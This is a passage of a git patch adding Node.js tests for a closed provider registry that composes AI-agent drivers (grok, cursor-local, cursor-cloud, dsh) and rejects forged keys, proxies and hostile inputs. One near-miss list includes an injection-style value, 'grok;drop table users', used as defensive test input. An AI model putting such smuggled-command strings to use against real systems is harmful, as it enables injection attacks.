assert.ok(!error.code.includes(payload) && !error.path.includes(payload) + && !error.message.includes(payload), 'content-free denial required'); + } + expectCode(() => resolveRegistrySelectionV1({ provider: payload, model: 'm' }), + 'unknown_provider'); + expectCode(() => composeProviderDriverV1(payload, { transport: {} }), 'unknown_provider'); + } +}); + +test('prototype members and forged keys can never resolve as slots or entries', () => { + for (const forged of [ + 'toString', 'constructor', 'hasOwnProperty', 'isPrototypeOf', '__proto__', + 'propertyIsEnumerable', 'toLocaleString', 'valueOf', + ]) { + assert.equal(isRegistrySlotV1(forged), false); + expectCode(() => requireRegistrySlotV1(forged), 'unknown_provider'); + expectCode(() => registryEntryV1(forged), 'unknown_provider'); + expectCode(() => composeProviderDriverV1(forged, { transport: {} }), 'unknown_provider'); + } +}); + +test('selection records reject proxies, accessors, symbols, sparse arrays, and cycles', () => { + let getterRuns = 0; + const accessorSelection = {}; + Object.defineProperty(accessorSelection, 'provider', { + enumerable: true, + get() { + getterRuns += 1; + return 'dsh'; + }, + }); + accessorSelection.model = 'stealth/ox-alpha'; + expectCode(() => resolveRegistrySelectionV1(accessorSelection), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + expectCode(() => resolveRegistrySelectionV1(new Proxy({ + provider: 'dsh', model: 'm', + }, {})), 'proxy_denied'); + + const symboled = { provider: 'dsh', model: 'm' }; + symboled[Symbol('extra')] = 1; + expectCode(() => resolveRegistrySelectionV1(symboled), 'symbol_key_denied'); + + const sparse = []; + sparse[3] = 'x'; + expectCode(() => resolveRegistrySelectionV1(sparse), 'invalid_type'); + + const forgedProto = { provider: 'dsh', model: 'm' }; + Object.defineProperty(forgedProto, '__proto__', { value: {}, enumerable: true }); + expectCode(() => resolveRegistrySelectionV1(forgedProto), 'unknown_key'); + + const cyclic = { model: 'm' }; + cyclic.provider = cyclic; + expectCode(() => resolveRegistrySelectionV1(cyclic), 'unknown_provider', + 'a cyclic alias is not a closed slot and never walks values'); +}); + +test('exported snapshots are frozen and detached from gating authority', () => { + assert.ok(Object.isFrozen(PROVIDER_REGISTRY_SLOTS)); + assert.throws(() => PROVIDER_REGISTRY_SLOTS.push('future-harness'), TypeError); + const slotsCopy = registrySlotsV1(); + assert.ok(Object.isFrozen(slotsCopy)); + assert.throws(() => slotsCopy.push('x'), TypeError); + // Mutating a returned entry fails and cannot poison later lookups. + const entry = registryEntryV1('grok'); + assert.throws(() => { + entry.adapter_schema_id = 'codex-co-engineer.evil.v1'; + }, TypeError); + assert.equal(registryEntryV1('grok').adapter_schema_id, + PRISTINE_DESCRIPTION.entries.grok.adapter_schema_id); +}); + +test('inventory stays deterministic after a gauntlet of hostile failures', () => { + for (const hostile of ['nope', 42, null]) { + try { + composeProviderDriverV1(hostile, undefined); + } catch { + // expected typed denials; ignore which code fired + } + try { + composeProviderDriverV1('grok', new Proxy({}, {})); + } catch { + // expected + } + try { + resolveRegistrySelectionV1({ provider: 'dsh', model: Symbol('x') }); + } catch { + // expected + } + } + assert.deepEqual(describeProviderRegistryV1(), PRISTINE_DESCRIPTION, + 'failed hostilities must leave the closed inventory byte-identical'); +}); + +test('the P22 template surface can never be selected or composed as a provider', () => { + for (const pseudo of [ + 'future-harness', 'future_harness', 'template', 'conformance', 'harness', + 'codex-co-engineer.future-harness-template.v1', + ]) { + expectCode(() => requireRegistrySlotV1(pseudo), 'unknown_provider'); + expectCode(() => composeProviderDriverV1(pseudo, { identity: {}, declaration: {} }), + 'unknown_provider'); + expectCode(() => resolveRegistrySelectionV1({ provider: pseudo, model: 'm' }), + 'unknown_provider'); + } + const description = describeProviderRegistryV1(); + assert.deepEqual([...description.slots], [...PRISTINE_DESCRIPTION.slots]); +}); + +test('registry exports are frozen function surfaces', () => { + assert.ok(Object.isFrozen(composeProviderDriverV1)); + assert.ok(Object.isFrozen(describeProviderRegistryV1)); + assert.ok(Object.isFrozen(resolveRegistrySelectionV1)); + assert.ok(Object.isFrozen(requireRegistrySlotV1)); +}); diff --git a/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs new file mode 100644 index 0000000..9ea19e2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry.test.mjs @@ -0,0 +1,403 @@ +// P23 provider registry — focused coverage of the closed deterministic +// composition authority: slot vocabulary, drift-free inventory, exact +// accepted factory identity, selection mapping, and per-slot composition +// through the one accepted adapter factory. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_PROVIDER_SLOT, + bindCursorCloudDriverV1, + describeCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + CURSOR_LOCAL_PROVIDER, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { + DSH_ALLOWED_MODELS, + DSH_PROVIDER, + createDshApxDriverV1, + describeDshApxDriverV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; +import { + GROK_PROVIDER_SLOT, + bindGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, + inspectGrokAcpLaneEvidenceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { knownProvidersJoined, knownProvidersList, modelIdGrammarSource } from '../mcp/v3/grammar.mjs'; +import { + PROVIDER_REGISTRY_SCHEMA_ID, + PROVIDER_REGISTRY_SLOTS, + REGISTRY_SELECTION_RULE, + composeProviderDriverV1, + describeProviderRegistryV1, + isRegistrySlotV1, + registryComposeFunctionV1, + registryEntryV1, + registrySlotsV1, + requireRegistrySlotV1, + resolveRegistrySelectionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; +import { dispatchLane, dshEnvelope, fakeDshTransport } from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, + grokAcpCallsOf, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const GROK_FIXTURE = buildGrokDriverFixtureV1(); +const CLOUD_FIXTURE = buildCursorCloudDriverFixtureV1(); +const LOCAL_FIXTURE = buildCursorLocalFixtureV1(); +const DSH_FIXTURE = dshEnvelope('stealth/ox-alpha'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error + && (code === undefined || error.code === code), message); +} + +function grokRequest(operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: GROK_FIXTURE.envelope_text, + child_envelope_digest: GROK_FIXTURE.child_envelope_digest, + ...extras, + }; +} + +function cloudRequest(operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: CLOUD_FIXTURE.envelope_text, + child_envelope_digest: CLOUD_FIXTURE.child_envelope_digest, + ...extras, + }; +} + +test('the registry registers exactly the four accepted slots in frozen grammar order', () => { + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], [...knownProvidersList()]); + assert.deepEqual([...registrySlotsV1()], [...knownProvidersList()]); + assert.ok(Object.isFrozen(PROVIDER_REGISTRY_SLOTS)); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + assert.equal(isRegistrySlotV1(slot), true, slot); + assert.equal(requireRegistrySlotV1(slot), slot); + } + const description = describeProviderRegistryV1(); + assert.equal(description.schema, PROVIDER_REGISTRY_SCHEMA_ID); + assert.equal(description.version, 1); + assert.equal(description.selection_rule, REGISTRY_SELECTION_RULE); + assert.equal(description.deterministic_selection, true); + assert.deepEqual([...description.slots], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); +}); + +test('inventory entries quote the accepted adapter surfaces without drift', () => { + const expectedSurfaces = new Map([ + ['grok', describeGrokAcpAdapterSurfaceV1()], + ['cursor-local', describeCursorLocalDriverV1()], + ['cursor-cloud', describeCursorCloudDriverV1()], + ['dsh', describeDshApxDriverV1()], + ]); + const expectedSchemaIds = new Map([ + ['grok', 'codex-co-engineer.grok-acp-driver.v1'], + ['cursor-local', 'codex-co-engineer.cursor-local-driver.v1'], + ['cursor-cloud', 'codex-co-engineer.cursor-cloud-driver.v1'], + ['dsh', 'codex-co-engineer.dsh-acpx-driver.v1'], + ]); + const expectedComposeNames = new Map([ + ['grok', 'bindGrokAcpDriverV1'], + ['cursor-local', 'createCursorLocalDriverV1'], + ['cursor-cloud', 'bindCursorCloudDriverV1'], + ['dsh', 'createDshApxDriverV1'], + ]); + for (const slot of PROVIDER_REGISTRY_SLOTS) { + const entry = registryEntryV1(slot); + assert.equal(entry.schema, PROVIDER_REGISTRY_SCHEMA_ID); + assert.equal(entry.provider, slot); + assert.equal(entry.adapter_schema_id, expectedSchemaIds.get(slot)); + assert.equal(entry.compose_function_name, expectedComposeNames.get(slot)); + assert.deepEqual(entry.adapter_surface, expectedSurfaces.get(slot)); + assert.ok(Object.isFrozen(entry)); + assert.ok(Object.isFrozen(entry.adapter_surface)); + assert.ok(Object.isFrozen(entry.option_contract)); + } + assert.equal(registryEntryV1('grok').option_contract.mode, 'transport_property'); + assert.equal(registryEntryV1('cursor-cloud').option_contract.mode, 'transport_property'); + assert.equal(registryEntryV1('cursor-local').option_contract.mode, 'options_bag'); + assert.equal(registryEntryV1('dsh').option_contract.mode, 'options_bag'); + assert.deepEqual( + [...registryEntryV1('grok').option_contract.registry_required_keys], ['transport']); + assert.deepEqual( + [...registryEntryV1('cursor-cloud').option_contract.registry_required_keys], ['transport']); + assert.deepEqual( + [...registryEntryV1('cursor-local').option_contract.registry_required_keys], []); + assert.deepEqual([...registryEntryV1('dsh').option_contract.registry_required_keys], []); +}); + +test('model vocabularies stay owned by the accepted adapters and never widen', () => { + assert.equal(registryEntryV1('dsh').models.rule, 'closed_list'); + assert.deepEqual([...registryEntryV1('dsh').models.values], [...DSH_ALLOWED_MODELS]); + for (const slot of ['grok', 'cursor-cloud']) { + assert.equal(registryEntryV1(slot).models.rule, 'adapter_model_grammar'); + assert.equal(registryEntryV1(slot).models.grammar_source, modelIdGrammarSource()); + } + assert.equal(registryEntryV1('cursor-local').models.rule, 'adapter_model_grammar'); + assert.equal(registryEntryV1('cursor-local').models.grammar_source, '^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$'); +}); + +test('descriptions are deterministic, deeply frozen, and detached from callers', () => { + const first = describeProviderRegistryV1(); + const second = describeProviderRegistryV1(); + assert.deepEqual(first, second); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.entries)); + assert.equal(Object.getPrototypeOf(first.entries), null); + for (const slot of first.slots) { + assert.ok(Object.isFrozen(first.entries[slot])); + assert.ok(Object.isFrozen(first.entries[slot].models)); + } + assert.ok(Object.isFrozen(first.future_harness)); + assert.ok(Object.isFrozen(first.nonclaims)); + // Mutating a returned slots copy cannot reach registry authority. + const slots = registrySlotsV1(); + assert.throws(() => slots.push('future-harness'), TypeError); + assert.deepEqual([...describeProviderRegistryV1().slots], [...first.slots]); +}); + +test('the P22 future harness stays conformance evidence and never a fifth slot', () => { + const description = describeProviderRegistryV1(); + assert.equal(isRegistrySlotV1('future-harness'), false); + assert.equal(description.future_harness.surface, 'conformance_evidence'); + assert.equal(description.future_harness.provider_slot, null); + assert.equal(description.future_harness.composable, false); + assert.equal(description.future_harness.live_transport_qualification, false); + assert.equal(description.future_harness.template_schema_id, + 'codex-co-engineer.future-harness-template.v1'); + assert.equal(description.future_harness.conformance_schema_id, + 'codex-co-engineer.future-harness-conformance.v1'); +}); + +test('every nonclaim is explicit and false', () => { + const nonclaims = describeProviderRegistryV1().nonclaims; + for (const key of Object.keys(nonclaims)) { + assert.equal(nonclaims[key], false, key); + } + for (const key of [ + 'ambient_discovery', 'fallback', 'replay', 'provider_substitution', 'fifth_provider', + 'supervisor_cutover', 'live_transport_qualification', 'dynamic_import', + ]) { + assert.ok(Object.hasOwn(nonclaims, key), key); + } +}); + +test('slot gating fails closed and content-free on near misses', () => { + for (const hostile of [ + '', ' ', 'cursor', 'cursors-local', 'cursor-LocaL', 'grok ', ' grok', 'dshx', 'GROK', + 'Dsh', 'cursor_cloud', 'future-harness', 'template', 'provider/registry', + 'grok;drop table users', 'grok\n', String.fromCharCode(0x0047, 0x0072, 0x066F, 0x06B8), + 'x'.repeat(4096), + ]) { + expectCode(() => requireRegistrySlotV1(hostile), 'unknown_provider', hostile); + assert.equal(isRegistrySlotV1(hostile), false); + try { + requireRegistrySlotV1(hostile); + assert.fail('expected typed denial'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'unknown_provider'); + // Hostile values stay out of the error surface unless they are a + // substring of the fixed closed-vocabulary listing itself. + const fixed = `provider_registry.provider must be an exact registered provider slot: ${knownProvidersJoined()}.`; + if (!fixed.includes(hostile)) { + assert.ok(!error.message.includes(hostile), 'hostile value must not leak'); + } + assert.equal(error.path, 'provider_registry.provider'); + } + } +}); + +test('non-string providers fail closed before any option byte is read', () => { + let getterRuns = 0; + const getterBomb = {}; + Object.defineProperty(getterBomb, 'transport', { + enumerable: true, + get() { + getterRuns += 1; + return {}; + }, + }); + for (const hostile of [123, null, undefined, true, Symbol('s'), 10n, + { transport: {} }, ['grok'], () => {}, getterBomb]) { + expectCode(() => composeProviderDriverV1(hostile, getterBomb), 'unknown_provider'); + } + assert.equal(getterRuns, 0, 'registry gating never runs caller code'); +}); + +test('registryComposeFunctionV1 exposes exactly the accepted factories', () => { + assert.equal(registryComposeFunctionV1('grok'), bindGrokAcpDriverV1); + assert.equal(registryComposeFunctionV1('cursor-local'), createCursorLocalDriverV1); + assert.equal(registryComposeFunctionV1('cursor-cloud'), bindCursorCloudDriverV1); + assert.equal(registryComposeFunctionV1('dsh'), createDshApxDriverV1); + for (const hostile of ['future-harness', 'toString', '__proto__', 'constructor']) { + expectCode(() => registryComposeFunctionV1(hostile), 'unknown_provider'); + expectCode(() => registryEntryV1(hostile), 'unknown_provider'); + } +}); + +test('resolveRegistrySelectionV1 maps exact pairs deterministically without constructing', () => { + const plan = resolveRegistrySelectionV1({ provider: 'dsh', model: 'stealth/ox-alpha' }); + assert.equal(plan.schema, 'codex-co-engineer.registry-selection.v1'); + assert.equal(plan.provider, 'dsh'); + assert.equal(plan.model, 'stealth/ox-alpha'); + assert.equal(plan.selection_rule, REGISTRY_SELECTION_RULE); + assert.equal(plan.deterministic, true); + assert.equal(plan.adapter_schema_id, 'codex-co-engineer.dsh-acpx-driver.v1'); + assert.equal(plan.compose_function_name, 'createDshApxDriverV1'); + assert.equal(plan.model_rule, 'closed_list'); + assert.ok(Object.isFrozen(plan)); + assert.deepEqual(resolveRegistrySelectionV1({ provider: 'dsh', model: 'stealth/ox-alpha' }), plan); + + const grammarPlan = resolveRegistrySelectionV1({ + provider: 'cursor-local', model: LOCAL_FIXTURE.model, + }); + assert.equal(grammarPlan.model_rule, 'adapter_model_grammar'); + assert.equal(grammarPlan.compose_function_name, 'createCursorLocalDriverV1'); + + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', model: 'not-a-dsh-model', + }), 'unknown_model', 'closed dsh model list is enforced against the accepted constant'); + expectCode(() => resolveRegistrySelectionV1({ + provider: 'dsh', model: 'muse-spark-1.2-contributor ', + }), 'unknown_model'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh' }), 'missing_key'); + expectCode(() => resolveRegistrySelectionV1({ model: 'm' }), 'missing_key'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh', model: 'm', extra: 1 }), + 'unknown_key'); + expectCode(() => resolveRegistrySelectionV1({ provider: 'dsh', model: 5 }), 'invalid_model'); +}); + +test('composition drives the accepted Grok lane end to end behind the registry', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = composeProviderDriverV1('grok', { transport }); + const preflight = driver.preflight(grokRequest('preflight')); + assert.equal(preflight.disposition, 'ready'); + const launch = driver.launch(grokRequest('launch')); + assert.equal(launch.disposition, 'dispatched'); + assert.equal(launch.run_id, GROK_FIXTURE.run_id); + assert.equal(launch.assignment_id, GROK_FIXTURE.assignment_id); + assert.equal(launch.lane_index, GROK_FIXTURE.lane_index); + assert.equal(launch.base_sha, GROK_FIXTURE.base_sha); + assert.equal(launch.child_envelope_digest, GROK_FIXTURE.child_envelope_digest); + const observe = driver.reconcile(grokRequest('reconcile')); + assert.equal(observe.disposition, 'terminal'); + const cancel = driver.cancel(grokRequest('cancel')); + assert.equal(cancel.disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + assert.equal(grokAcpCallsOf(transport, 'cancel').length, 0, + 'terminal cancel absorbs without touching the transport'); + // No wrapper layer: accepted evidence inspection works on the composed object. + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: GROK_FIXTURE.run_id, + assignment_id: GROK_FIXTURE.assignment_id, + child_envelope_digest: GROK_FIXTURE.child_envelope_digest, + }); + assert.equal(evidence.child_envelope_digest, GROK_FIXTURE.child_envelope_digest); +}); + +test('composition drives the accepted Cursor Cloud lane end to end behind the registry', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = composeProviderDriverV1('cursor-cloud', { transport }); + assert.equal(driver.preflight(cloudRequest('preflight')).disposition, 'ready'); + const launch = driver.launch(cloudRequest('launch')); + assert.equal(launch.disposition, 'dispatched'); + assert.equal(launch.run_id, CLOUD_FIXTURE.run_id); + assert.equal(launch.child_envelope_digest, CLOUD_FIXTURE.child_envelope_digest); + const observed = driver.reconcile(cloudRequest('reconcile')); + assert.equal(observed.disposition, 'in_progress'); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: CLOUD_FIXTURE.run_id, + assignment_id: CLOUD_FIXTURE.assignment_id, + child_envelope_digest: CLOUD_FIXTURE.child_envelope_digest, + }); + assert.equal(evidence.status, 'running'); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 1); + assert.equal(cursorCloudCallsOf(transport, 'send').length, 1); +}); + +test('composition builds the accepted DSH facade and its honest uncertain posture', () => { + const facade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + assert.equal(facade.provider, DSH_PROVIDER); + assert.equal(facade.workspace_mode, 'managed'); + const lane = dispatchLane(facade.driver, DSH_FIXTURE); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile().disposition, 'in_progress'); +}); + +test('composition builds the accepted Cursor Local facade behind the registry', () => { + const stub = createCursorLocalTransportStub('happy'); + const facade = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: stub.transport, + }); + assert.equal(facade.provider, CURSOR_LOCAL_PROVIDER); + const request = (operation) => ({ + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: LOCAL_FIXTURE.envelope_text, + child_envelope_digest: LOCAL_FIXTURE.child_envelope_digest, + }); + assert.equal(facade.driver.preflight(request('preflight')).disposition, 'ready'); + assert.equal(facade.driver.launch(request('launch')).disposition, 'dispatched'); + assert.equal(stub.state.spawnCalls, 1); + assert.equal(stub.state.sends, 1); +}); + +test('compositions are independent and never share lanes or state', () => { + const first = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + const second = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + assert.notEqual(first, second); + assert.equal(second.preflight(grokRequest('preflight')).disposition, 'ready', + 'a fresh composition starts from its own absent state'); + first.preflight(grokRequest('preflight')); + first.launch(grokRequest('launch')); + // The second lane was never touched by the first lane's lifecycle. + expectCode(() => second.reconcile(grokRequest('reconcile')), 'not_dispatched'); +}); + +test('accepted adapter failures pass through unwrapped with no substitution', () => { + expectCode(() => composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'direct', + }), 'direct_mode_rejected', + 'the adapter\'s own typed denial surfaces unchanged; no other provider is tried'); + expectCode(() => composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration({ provider: 'grok' }), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: createCursorLocalTransportStub('happy').transport, + }), 'provider_mismatch'); +}); From 22d8c01375d03b8b8d4fdf09a83923ca0223bc7a Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Mon, 24 Aug 2026 23:59:23 +0000 Subject: [PATCH 091/151] test(provider): compose every accepted driver behind the P23 registry Prove the registry is the composition authority: each accepted adapter (P18 Grok ACP, P19 Cursor Local, P20 DSH ACPX, P21 Cursor Cloud) composes exclusively through composeProviderDriverV1 and drives its accepted preflight/launch/reconcile/cancel lifecycle with exact identity echo (run_id, assignment_id, lane_index, base_sha, child_envelope_digest), honest dispatch certainty (Grok and Cursor Cloud confirmed only after an authoritative acknowledgement; DSH stays uncertain after spawn with replay_denied on a second launch), terminal absorption, one-spawn/one-ack local dispatch, no cross-talk between four coexisting lanes, inventory surfaces byte-faithful to every accepted describe function, exact factory identity for all four slots, and the P22 kit still passing against the inert template as evidence that never qualifies a live route. --- .../r1-provider-registry-integration.test.mjs | 243 ++++++++++++++++++ 1 file changed, 243 insertions(+) create mode 100644 plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs diff --git a/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs b/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs new file mode 100644 index 0000000..cffe9ae --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs @@ -0,0 +1,243 @@ +// P23 integration proof: every accepted provider driver (P18 Grok ACP, +// P19 Cursor Local, P20 DSH ACPX, P21 Cursor Cloud) composes behind the +// closed registry and drives its accepted lifecycle with exact identity +// echo. The P22 future harness stays mock/conformance evidence only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + describeCursorCloudDriverV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from '../mcp/v3/cursor-local-driver.mjs'; +import { + createDshApxDriverV1, + describeDshApxDriverV1, +} from '../mcp/v3/dsh-acpx-driver.mjs'; + +import { + bindGrokAcpDriverV1, + createGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, +} from '../mcp/v3/grok-acp-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + PROVIDER_REGISTRY_SLOTS, + REGISTRY_SELECTION_RULE, + composeProviderDriverV1, + describeProviderRegistryV1, + registryComposeFunctionV1, +} from '../mcp/v3/provider-registry.mjs'; +import { createFutureHarnessDriverTemplateV1 } from '../mcp/v3/future-harness.mjs'; +import { runFutureHarnessConformanceKitV1 } from '../mcp/v3/provider-driver-conformance.mjs'; +import { + buildCursorLocalFixtureV1, + createCursorLocalTransportStub, + cursorLocalDeclaration, +} from './fixtures/r1-cursor-local-transport.mjs'; +import { + dispatchLane, + dshEnvelope, + fakeDshTransport, +} from './fixtures/r1-dsh-acpx-fixtures.mjs'; +import { + buildGrokDriverFixtureV1, + createScriptedGrokAcpTransportV1, +} from './fixtures/r1-grok-acp-transport.mjs'; +import { + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; +import { + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +const GROK_FIXTURE = buildGrokDriverFixtureV1(); +const CLOUD_FIXTURE = buildCursorCloudDriverFixtureV1(); +const LOCAL_FIXTURE = buildCursorLocalFixtureV1(); +const DSH_FIXTURE = dshEnvelope('stealth/ox-alpha'); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, + message); +} + +function requestFor(fixture, operation, extras = {}) { + return { + schema: `codex-co-engineer.driver-${operation}.v1`, + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + ...extras, + }; +} + +function assertIdentityEcho(receipt, fixture, label) { + assert.equal(receipt.run_id, fixture.run_id, `${label} run_id`); + assert.equal(receipt.assignment_id, fixture.assignment_id, `${label} assignment_id`); + assert.equal(receipt.lane_index, fixture.lane_index, `${label} lane_index`); + assert.equal(receipt.base_sha, fixture.base_sha, `${label} base_sha`); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest, + `${label} child_envelope_digest`); +} + +test('every registered slot composes the exact accepted factory object', () => { + assert.equal(registryComposeFunctionV1('grok'), bindGrokAcpDriverV1); + assert.equal(registryComposeFunctionV1('cursor-local'), createCursorLocalDriverV1); + assert.equal(registryComposeFunctionV1('cursor-cloud'), bindCursorCloudDriverV1); + assert.equal(registryComposeFunctionV1('dsh'), createDshApxDriverV1); + // The raw accepted creators stay reachable through the same authority. + const description = describeProviderRegistryV1(); + assert.deepEqual(Object.keys(description.entries).sort(), + ['cursor-cloud', 'cursor-local', 'dsh', 'grok']); +}); + +test('the composed Grok ACP driver runs the accepted lifecycle with identity echo', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = composeProviderDriverV1('grok', { transport }); + const preflight = driver.preflight(requestFor(GROK_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, GROK_FIXTURE, 'grok preflight'); + const launch = driver.launch(requestFor(GROK_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched', + 'launch confirms only after the authoritative acknowledgement'); + assertIdentityEcho(launch, GROK_FIXTURE, 'grok launch'); + assert.equal(driver.reconcile(requestFor(GROK_FIXTURE, 'reconcile')).disposition, 'terminal'); + const cancel = driver.cancel(requestFor(GROK_FIXTURE, 'cancel')); + assert.equal(cancel.disposition, 'already_terminal'); + assertIdentityEcho(cancel, GROK_FIXTURE, 'grok cancel'); +}); + +test('the composed Cursor Local driver runs the accepted lifecycle with one spawn and ack', () => { + const stub = createCursorLocalTransportStub('happy'); + const facade = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: stub.transport, + }); + assert.equal(facade.provider, 'cursor-local'); + const driver = facade.driver; + const preflight = driver.preflight(requestFor(LOCAL_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, LOCAL_FIXTURE, 'cursor-local preflight'); + const launch = driver.launch(requestFor(LOCAL_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, LOCAL_FIXTURE, 'cursor-local launch'); + assert.equal(stub.state.spawnCalls, 1); + assert.equal(stub.state.sends, 1); + assert.equal(stub.state.acks, 1); + const observed = driver.reconcile(requestFor(LOCAL_FIXTURE, 'reconcile')); + assert.equal(observed.disposition, 'in_progress'); + const cancelled = driver.cancel(requestFor(LOCAL_FIXTURE, 'cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('the composed DSH ACPX driver keeps honest post-spawn uncertainty', () => { + const facade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', + }); + const lane = dispatchLane(facade.driver, DSH_FIXTURE); + assert.equal(lane.preflight.disposition, 'ready'); + assertIdentityEcho(lane.launch, DSH_FIXTURE, 'dsh launch'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + expectCode(() => lane.launchAgain(), 'replay_denied', + 'an uncertain launch is never replayed through the registry-composed driver'); + const observed = lane.reconcile({ include: ['live_progress'] }); + assert.equal(observed.disposition, 'in_progress'); + assertIdentityEcho(observed, DSH_FIXTURE, 'dsh reconcile'); + const cancelled = lane.cancel(); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('the composed Cursor Cloud driver never authorizes merge or PR work', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = composeProviderDriverV1('cursor-cloud', { transport }); + const preflight = driver.preflight(requestFor(CLOUD_FIXTURE, 'preflight')); + assert.equal(preflight.disposition, 'ready'); + assertIdentityEcho(preflight, CLOUD_FIXTURE, 'cursor-cloud preflight'); + const launch = driver.launch(requestFor(CLOUD_FIXTURE, 'launch')); + assert.equal(launch.disposition, 'dispatched'); + assertIdentityEcho(launch, CLOUD_FIXTURE, 'cursor-cloud launch'); + const observed = driver.reconcile( + requestFor(CLOUD_FIXTURE, 'reconcile', { include: ['live_progress'] })); + assert.equal(observed.disposition, 'in_progress'); + const cancelled = driver.cancel(requestFor(CLOUD_FIXTURE, 'cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); +}); + +test('four accepted lanes coexist without cross-talk through the registry', () => { + const grok = composeProviderDriverV1('grok', { transport: createScriptedGrokAcpTransportV1() }); + const cloudTransport = createScriptedCursorCloudTransportV1(); + const cloud = composeProviderDriverV1('cursor-cloud', { transport: cloudTransport }); + const localStub = createCursorLocalTransportStub('happy'); + const local = composeProviderDriverV1('cursor-local', { + declaration: cursorLocalDeclaration(), + model: LOCAL_FIXTURE.model, + run_base_sha: LOCAL_FIXTURE.base_sha, + transport: localStub.transport, + }); + const dshFacade = composeProviderDriverV1('dsh', { + transport: fakeDshTransport().port, + workspace_mode: 'managed', 